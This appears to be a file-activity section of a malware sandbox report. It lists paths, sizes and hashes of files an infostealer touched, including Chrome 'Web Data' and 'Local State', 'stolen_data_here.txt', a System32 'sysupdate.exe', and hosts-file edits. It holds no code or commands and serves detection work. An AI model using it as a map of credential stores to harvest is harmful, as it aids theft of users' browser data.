- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 d312e1336fb4a6482f0b867bac00033c05733360d4fd174a8a2bf3cd939175c3
- MD5 f3b70deba9898bd62a1c122dd3b42522
- SHA1 23d1c47d68406e3a55c75556aa655b98b26e0e47
- SHA512 18ae779dad853703dc84d2b689cb060924889fcc7d6b54a3a3ee0fb659046f96b95ff212021ea10a46eb602422c641067f52299d99e8de4edd82bcdf2385ad71
- TLSH T112C0125AC5097142D01A03BC2082E898755CDF61D60B334C43E41A13E835632C22A697
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5888f2.TMP
- Size 96B
- SHA256 d32ba5db9270dcbe3f91c2ed8d5c77645ebc680ad1d3b4bb4c91894734848759
- MD5 94b770476fd0a7b1e1ae6619370c1694
- SHA1 335115d6b8c4937c67116c5d714bc8511fd7782e
- SHA512 6951bd9284d50f48e770da7454bba6347544cde324249335d88c7493cc8955a82fe7f7a285816af4210b5e6d47b31867e322f03ed8759f6caa3bbc717b631e96
- TLSH T151B00256C3026212D05603B03995DADC7260EF25C607521BB2F11B6BDC366608625560
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 cf6e36ad4be075e99ef73eac32fd98936936fed08f30dd34d6bdcfab7d6f21e5
- MD5 ecb340731212903fb4bd272ada517a1b
- SHA1 ff75b279f3e3e819bb35555f242f08a4299e3989
- SHA512 9f8a79c3a11146ecc67db66f689644ac3bf8fb5aa6bcbb02c0ded96b5d9c85adb0352e8fe75407322397bd970c3d8f775c5e6bddb7252d2e03472845d0f0f65a
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OhpX6V1dqEVumawkh:jeuvBnhJsueMEGvIW1DcP2Ov8fVumanh
- TLSH T15DD3874B3A743102EDE59A722CE051BB5D3CB17D8F55A5D428B620588EF2863A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 4f65a845e67507602dac1f526d1afdaa9c96e2f10e50ae9ffef044acb2f2b0f4
- MD5 2f9984f5d4c53382b2e2a68d1bb73f55
- SHA1 6afab3745af00817976043f95cce7935c1f1fff8
- SHA512 3b3eaa09f84b41525bc4ba121cb6d135e2a41a418a0ea6f01d775fe1233cd22925cc23eb19279738db61389ff3631f82e6dc0630b49dcdaf4dec83b602dc786c
- SSDEEP 1536:T3QyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjf:+qfd7NtZL8cHQRZEQ6Spsk
- TLSH T1ADC30237EBC21F339E92CB64B9530FD697F644A59034D301AAAD77BF6C83491684289C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 dbc2b14bb2eb47e9616595525379db807702cde39e3cc892d57096c5934c93c9
- MD5 33f7d6c988f7f0fca3ca31095379afd9
- SHA1 3a3bd07da1357435ca319fe28c5a4a33e13c0cb3
- SHA512 8bac506782745b7992cf2eb2151f5b4a9f2b1906d3f140726dcb4b831de046a79a163551835757e8002b0fd91d1bfacaa78648f1e379d6b650bf003077155f1d
- SSDEEP 1536:vbxv5yD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICq:NvXqfd7NtZL8cHQRZEQ6SpsJ
- TLSH T1F8C30237ABC61E339ED2CB70B9230ED797F544A59034D305ABAD37FB6883495684289C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 235KB
- SHA256 caa0fb1fdef8b1ec60640868ffc6fc9bb29eb3ddd39fa0c1063878fd2d0187b5
- MD5 e0bd0bbc26266a3803d9b458bf2a5c82
- SHA1 d0f6e900f7c96b728850ccfb61e84e2e6ff1a97b
- SHA512 0cfae9699d89f39f039398044ce4b9f9c035c1f638b0518743a054641e0e624f7c981ec044cf6fb9f1d0f762a0ed2e0341c7f75b356407825246eaba66546ccc
- SSDEEP 6144:uvouCDkmvM54SJr1XJNAWIRbs5qZ/ZLW3Ex1:uv5tjtdAtbCqZ/piQ1
- TLSH T1003423766F469E731D81DB3429270EA776F64EAF5074C204AF993BFB5C930422C478A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 236KB
- SHA256 af69026873fa3d9875896dc5af3e08c1bc6691aa46670c62ae052bb151bbf1f0
- MD5 eb408d42d3377468d44264fdb20f00bb
- SHA1 9c17a832d567b18e5218df44895240625dac7dbc
- SHA512 4914024791e739a71ecfdfa9a828ecb605aaa07809aea619bac45386a0d764e7d3baa8a9387ab5c56a5fd02a98fac7761ee835df126241b3f5df717b7c09a9b2
- SSDEEP 6144:9TuCDkmvM54SJr1XJNAWIRbs5qZ/ZLW3Ex1:UtjtdAtbCqZ/piQ1
- TLSH T15834227A6F029E731D82DA3829161A677AF68FBF4474C508BE9D3BFB6C930015C47894
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\themarketnyc.com_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f53wazzr.t1b.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 248B
- SHA256 46f0d14f63547f0720f9b966f7d0429956ae6a8aed62aaa377640347ad838d71
- MD5 61dcd4a344c053c5cb8099e37bd43446
- SHA1 5b9246de45263312effe06eefade9d0e8e42892c
- SHA512 946f868048fd54b3e5d1d16747b1fa91967204408a0ac5b3aff46d0becea91c4bd88b00323fb73bf45fef71eee826c23388648d275c71100562dd4482dc761bb
- TLSH T1A0D0A54F714CC5A90005153F41F38D4DD5E5447C3B13BD719555DD4D315148547F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 249B
- SHA256 305027fa943965304d9ac7ac7c927772239cfc6ab7b9925df4fc8acca651d207
- MD5 ff32c78accc9bcfcd44292019ffa3439
- SHA1 fb0a01f9969311c2c37501e94c34d1fbb2ed67cf
- SHA512 56a82a54b0ed3d97cb89ba9f94e851f8b2303f43aa1e3ef6c6d84d2e5309da8ca9e159a4db9882d73918992048e5580e849a44082fdc8c298276b1c24094a90d
- TLSH T19ED0A58F714CC5A90005153F40F38D4DD5D5457C3F13AD71D555DD4D325144547F5543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 315KB
- SHA256 44627bf80a4a3dd3e8fb8a54d4f8093e7636c459be3ad6c0d50e2216d8149352
- MD5 6344fc73649aedb06b6b018b801ba258
- SHA1 ccf3401988bc7b642896b34b4db70667208458ad
- SHA512 42a4cd112c28f49937bd7726f9343c862135a2f0fabbb1fb86c4692c61626cbfc472ab347f9fe1a7d19d30a706f8a4d4ecebf655a3228e896f595f10f5cc923f
- SSDEEP 6144:GKMMex/915Tes7SFcOtHLKZvV19/P/w/P/DU/P/xTin+xugRKlSvspTtgy8:GKMPx/9jTvYhAvV1bun+xHKlJpBb8
- TLSH T16C64AF00D6B2CE2E158256EF581237D0E578BBF092EC81F721A66FA7F0739E6D21D245
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 315KB
- SHA256 54e9a5bf107035ef38b8d1794db171e3fc20378e3d51937fc2ce0b78e8775929
- MD5 8114428ca328c767e75e883089be2183
- SHA1 f8380ac9bf932d8c1f499ce98a6db0309e9b5a8f
- SHA512 96d47e8622ab2268321e6844cd392be5566e8d3deece586c70977594e7a59edc1b5fc54b1368797cc786c7d0da2101cea01c161b9db831c3211e9a2e2e41ad7c
- SSDEEP 6144:0KMMex/915Tes7SFcOtHLKZvV19/P/w/P/DU/P/xTin+xugRKlSvspTtgyf:0KMPx/9jTvYhAvV1bun+xHKlJpBbf
- TLSH T10964AF00D6B2CE2E158256DF181237D0E578BBF092EC81F721A66FA7F0739E6D61D245
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 80fc900723581ca8e49d7175ddfdae1cd62840286ce7d411904ac4d2492dd250
- MD5 8e743ca1f5b290d6b0699958a205f07b
- SHA1 d8e0742f5a347c69033f51d074b5652bf9d1cbe8
- SHA512 cd8dfb034d91ad94519fffafb988d28ccd1ec91b07fb89c594f16c5916a2d117de2f76fcc4c0a2a9e8c043992bc2166b001db886e08a72af5b21b5c85afef5b7
- SSDEEP 768:ehTDb3uOriweukumSLjLb4x//o4vC1XXGblfA0lKKFcC:uTXu41kUzUxI4vEXGblf9lKucC
- TLSH T19033F71477F98211F1BF4AB98DB182119B31B8A79C32D78D06D5058E1AB3B40DEE8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH